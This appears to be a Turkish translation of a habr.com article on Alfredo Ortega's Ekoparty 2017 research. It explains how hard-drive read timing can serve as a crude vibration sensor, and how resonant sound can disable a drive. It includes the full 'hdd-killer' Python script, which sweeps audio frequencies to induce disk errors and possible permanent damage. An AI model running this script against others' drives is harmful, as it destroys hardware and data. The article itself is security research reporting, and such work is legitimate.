Buenos Aires'teki Ekoparty 2017 bilgisayar güvenliği konferansında Arjantinli hacker Alfredo Ortega çok ilginç bir gelişme gösterdi: mikrofon kullanmadan tesislerin gizlice dinlenmesini sağlayan bir sistem. Ses
HDD esas olarak yüksek yoğunluklu düşük frekanslı sesleri, ayak seslerini ve diğer titreşimleri alır. Bilim insanları her ne kadar insan konuşmasını henüz tanıyamıyor
Ses, havanın veya başka bir ortamın titreşimidir. Kişi bunları, titreşimleri iç kulağa ileten kulak zarı aracılığıyla algılar. Mikrofon kabaca kulağa benzer şekilde tasarlanmıştır; burada da titreşimler, elektriksel bir uyarıyı harekete geçiren ince bir zar tarafından kaydedilir. Sabit sürücü elbette çevredeki havadaki dalgalanmalardan dolayı mikroskobik titreşimlere de maruz kalır. Bu, HDD'lerin teknik özelliklerinden bile bilinmektedir: üreticiler genellikle izin verilen maksimum titreşim seviyesini belirtir ve sabit sürücünün kendisi genellikle onu kauçuktan veya başka bir yalıtım malzemesinden yapılmış titreşime dayanıklı bir kaba yerleştirmeye çalışır. Buradan seslerin HDD kullanılarak kaydedilebileceği sonucuna varmak kolaydır. Geriye kalan tek şey nasıl olduğunu bulmak.
Alfredo Ortega, yan kanal saldırısının benzersiz bir versiyonunu, yani zamanlı saldırıyı önerdi. Bu saldırı, verilen giriş verilerine bağlı olarak cihaz üzerinde farklı zamanlarda farklı işlemlerin gerçekleştirildiği varsayımına dayanmaktadır. Bu durumda "giriş verileri", ortamın titreşimleriyle yani sesle ilişkilendirilen okuma kafasının ve HDD plakasının titreşimleridir. Böylece hesaplama süresinin ölçülmesi ve verilerin istatistiksel analizinin yapılmasıyla kafa/tabak titreşimleri ve dolayısıyla ortamın titreşimleri ölçülebilir. Verilerin okunmasındaki gecikme ne kadar uzun olursa, HDD titreşimleri o kadar güçlü olur ve dolayısıyla ses de o kadar yüksek olur.
Sabit disk titreşimi nasıl ölçülür? Çok basit: sadece sistem çağrısını çalıştırın read ()
— ve tamamlanması için gereken süreyi kaydedin. Modern işletim sistemleri, sistem çağrılarının zamanlamasını nanosaniyelik doğrulukla okumanıza olanak tanır.
Bir sektörden bilgi okuma hızı, HDD kasasının titreşimleriyle ilişkili olan kafa ve tablanın konumuna bağlıdır. Bu kadar.
İstatistiksel analiz basit bir Kscope yardımcı programı kullanılarak gerçekleştirilir. Dedikleri gibi, ustaca olan her şey basittir.
Kscope yardımcı programı (stat() sistem çağrısı)
Kscope, sistem çağrısı yürütme sürelerindeki küçük farklılıkları görselleştirmek için kullanılan küçük bir yardımcı programdır. Kaynak
Ayrı bir depoda read ()
.
HDD kullanarak ses kaydının gösterilmesi, Kscope yardımcı programının çalıştırılması
Elbette konuşma bu şekilde anlaşılamaz ancak HDD titreşim sensörü olarak oldukça uygundur. Örneğin, sert ayakkabı giyen veya yalınayak bir kişinin bilgisayar bulunan bir odaya girip girmediğini kaydedebilirsiniz (muhtemelen saldırgan yumuşak spor ayakkabı giyiyorsa veya yerde kalın bir halı varsa, HDD titreşimleri kaydedemeyecektir - bu kontrol edilmeye değer). Bilgisayar, kırık cam veya diğer olayları güçlü ses yoğunluğuyla kaydedebilir. Yani, sabit sürücü bir tür yetkisiz izinsiz giriş tespit sistemi görevi görebilir.
HDD katili
Bu arada, sabit sürücüleri devre dışı bırakmak için benzer bir teknik kullanılabilir. Sadece burada HDD'deki salınımları kaldırmıyoruz, aksine HDD'ye beslenen salınımlar üretiyoruz. Bir hoparlörden HDD frekansıyla rezonansa giren bir frekansta ses çalarsanız, sistem kısa sürede cihazı bir G/Ç hatasıyla kapatır (Linux çekirdeği, 120 saniye sonra HDD'yi tamamen kapatır). Sabit sürücünün kendisi geri dönüşü olmayan hasara uğrayabilir.
Linux çekirdeği, Edifier r120u USB hoparlörünün hoparlörü aracılığıyla rezonans frekansında ses ilettikten 19 saniye sonra sabit sürücüyü kapattı. Hoparlör, gücün yaklaşık dörtte biri kadar bir güçle (100 mW'den az) açılır ve titreşimleri artırmak için HDD'den 20 cm uzağa yerleştirilir ve masaya doğru yönlendirilir. Çerçeve
HDD'lere yönelik bu tür "saldırıların" bazen günlük yaşamda tamamen tesadüfen meydana gelmesi ilginçtir. Örneğin Eylül 2016'da ING Bank veri merkezi, yapılan yangın tatbikatının ardından faaliyetlerini 10 saat süreyle askıya almak zorunda kaldı.
Bir veri merkezindeki sabit disklere bağıran insanın gösterimi. Gecikme ölçümü
Rezonans sesini oluşturmak için Alfredo Ortega, adında bir Python betiği yazdı.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Kaynak: habr.com